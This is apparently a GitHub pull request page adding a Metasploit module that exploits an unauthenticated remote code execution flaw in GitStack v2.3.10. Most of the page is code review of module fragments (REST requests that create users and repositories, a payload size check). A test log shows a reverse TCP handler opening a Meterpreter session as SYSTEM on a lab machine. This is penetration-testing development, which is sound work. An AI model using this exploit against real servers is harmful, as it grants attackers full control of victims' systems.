New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Gitstack v2.3.10 RCE #9670

Merged

wchen-r7 merged 7 commits into rapid7:master from jrobles-r7:gitstack_rce

Mar 27, 2018

Contributor

jrobles-r7 commented Mar 5, 2018 •

edited by wchen-r7

Loading

This module exploits an unauthenticated remote code execution vulnerability on GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits.

Verification

jrobles-r7 added 3 commits

March 5, 2018 13:25


          Add GitStack v2.3.10 RCE

a4f48eb


          msftidy fix

57118e1


          Update doc

99799f1

Contributor Author

jrobles-r7 commented Mar 5, 2018

I need to add references... 🤦‍♂️

wvu reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                    'Platform'       => 'win',
+                    'Payload'        =>
+                      {
+                        'BadChars'  => "\x00"

Contributor

wvu Mar 5, 2018

?

wvu reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                        'BadChars'  => "\x00"
+                      },
+                    'Targets'        => [['Automatic', {}]],
+                    'Privileged'     => true,

Contributor

wvu Mar 5, 2018

It runs as SYSTEM?

Contributor Author

jrobles-r7 Mar 6, 2018

It does run as SYSTEM.

Contributor

wvu Mar 7, 2018

D:

wvu reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                def check_web
+                  begin
+                    res = send_request_cgi({
+                      'uri'     =>  normalize_uri('/rest/settings/general/webinterface/'),

Contributor

wvu Mar 5, 2018

Kinda don't need normalize_uri if you have a static URI like this.

wvu reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                      'uri'     =>  normalize_uri('/rest/settings/general/webinterface/'),
+                      'method'  => 'GET'
+                    })
+                  rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,

Contributor

wvu Mar 5, 2018

Rex::ConnectionError catches a lot of this.

wvu reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                  end
+                  if res && res.code == 200
+                    begin
+                      mylist = JSON.parse(res.body)

Contributor

wvu Mar 5, 2018

res.get_json_document?

wvu reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                def create_repo
+                  repo = Rex::Text.rand_text_alpha(5)
+                  c_token = Rex::Text.rand_text_alpha(5)
+                  data = "name=#{repo}&csrfmiddlewaretoken=#{c_token}"

Contributor

wvu Mar 5, 2018

vars_post instead.

wvu reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                    res = send_request_cgi({
+                      'uri'     =>  '/rest/settings/general/webinterface/',
+                      'method'  =>  'PUT',
+                      'encode'  =>  true,

Contributor

wvu Mar 5, 2018

Is there a reason for this? I don't see anything that needs encoding in the URI?

wvu reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                    payload_instance.arch.first,
+                    { :remove_comspec => true, :encode_final_payload => true }
+                  )
+                  fail_with(Failure::PayloadFailed, "Payload is too big") if command.length > 6110

Contributor

wvu Mar 5, 2018

Might want to let the user know what this magic number means.

wvu reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                  end
+                  r_users = repo_users(pwn_repo)
+                  unless r_users.nil? || r_users == []

Contributor

wvu Mar 5, 2018

You can use empty?. Or even blank? if you like.


          Added references, fixed code

4ace73a

jrobles-r7 added module docs labels

acammack-r7 reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                    'Privileged'     => true,
+                    'DisclosureDate' => 'Jan 15 2018',
+                    'DefaultTarget'  => 0))
+                  register_options([Opt::RPORT(80)])

Contributor

acammack-r7 Mar 7, 2018

Either we want an extra blank line above this, or remove this line if we get RPORT from the HttpClient mixin.

Contributor

wvu Mar 7, 2018

I glossed over this. Good change.


          Remove redundant RPORT

9ce6c2a

pbarry-r7 reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                      return nil
+                    end
+                    unless mylist.length == 0

Contributor

pbarry-r7 Mar 8, 2018

Maybe consider flipping this logic around per the style guide: https://github.com/bbatsov/ruby-style-guide#no-else-with-unless

pbarry-r7 reviewed

View reviewed changes

modules/exploits/windows/http/gitstack_rce.rb Outdated

+                  end
+                  r_users = repo_users(pwn_repo)
+                  unless r_users.nil? || r_users.empty?

Contributor

pbarry-r7 Mar 8, 2018

Same nit as above (https://github.com/bbatsov/ruby-style-guide#no-else-with-unless)

i.e.

if !r_users.blank?
  pwn_user = create_user
  if pwn_user
    mod_user(pwn_repo, pwn_user, 'POST')
    run_exploit(pwn_repo, pwn_user, command)
    mod_user(pwn_repo, pwn_user, 'DELETE')
    delete_user(pwn_user)  
  end
else
  pwn_user = r_users[0]
  run_exploit(pwn_repo, pwn_user, command)
end

You could also use if r_users.present? instead of if !r_users.blank?, as it's just an inversion of the return value of the .blank? method (but is less common in the Metasploit code; .blank? is more common).

Contributor

pbarry-r7 commented Mar 8, 2018

Nice module, @jrobles-r7 ! I'll see if I can get GitStack installed this afternoon for testing... 💯

pbarry-r7 reviewed

View reviewed changes

documentation/modules/exploit/windows/http/gitstack_rce.md Outdated

		@@ -0,0 +1,61 @@
		## Description

		This module exploits an unauthenticated remote code execution vulnerability on GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits.

Contributor

pbarry-r7 Mar 8, 2018

"...vulnerability in GitStack through version v2.3.10" maybe? https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5955

Contributor

pbarry-r7 Mar 8, 2018

My comment was really around the fact that the CVE says that all versions up-to-and-including v2.3.10 are vulnerable. The current verbiage sounds like it's only version v2.3.10 which is vulnerable, which is not the case according to the CVE.

Contributor Author

jrobles-r7 Mar 8, 2018

Oh ok. I didn't want to say the "... module exploits... through version v2.3.10" since I didn't test the exploit against earlier versions of GitStack.

Contributor

wvu Mar 9, 2018

It's normal to list vulnerable versions and tested versions, too.

Contributor

wvu Mar 9, 2018

"Versions X-Z are vulnerable. Tested on version Y." Something like that.

jrobles-r7 added 2 commits

March 8, 2018 07:30


          Style guide and grammar fixes

24079c3


          Documentation accuracy

2735ae5

Contributor

pbarry-r7 commented Mar 11, 2018

Works for me when targeting my Windows 10 system:

pbarry@ubuntu-16:~$ msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.16.45-dev-                        ]
+ -- --=[ 1744 exploits - 996 auxiliary - 302 post        ]
+ -- --=[ 529 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/http/gitstack_rce
msf exploit(windows/http/gitstack_rce) > set RHOST 192.168.2.109
RHOST => 192.168.2.109
msf exploit(windows/http/gitstack_rce) > set verbose true
verbose => true
msf exploit(windows/http/gitstack_rce) > run

[*] Started reverse TCP handler on 192.168.2.106:4444
[*] Powershell command length: 5963
[+] Web interface is enabled
[+] Repositories found
[+] Created user: KZqpR
[+] User KZqpR added to AMBdK
[+] KZqpR removed from AMBdK
[+] KZqpR has been deleted
[*] Sending stage (179779 bytes) to 192.168.2.109
[*] Meterpreter session 1 opened (192.168.2.106:4444 -> 192.168.2.109:52447) at 2018-03-11 12:10:22 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : PB-LAPTOP
OS              : Windows 10 (Build 16299).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

But I dawdled too long, lost my committer rights (womp womp)... So FWIW to others, it worked for me. :)

wchen-r7 self-assigned this

wchen-r7 merged commit 2735ae5 into rapid7:master

wchen-r7 added a commit that referenced this pull request


          Land #9670, Gitstack v2.3.10 RCE

8c88c53

Land #9670

Contributor

wchen-r7 commented Mar 27, 2018 •

edited by allrosenthal-r7

Loading

Release Notes

The exploits/windows/http/gitstack_rce module has been added to the framework. It exploits an unauthenticated remote code execution vulnerability on GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. You may have to run the exploit more than once to generate a small enough PowerShell.

jmartin-tech pushed a commit that referenced this pull request


          Land #9670, Gitstack v2.3.10 RCE

5b1577e

Land #9670

jrobles-r7 deleted the gitstack_rce branch

March 28, 2018 16:35

allrosenthal-r7 added the rn-exploit label

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels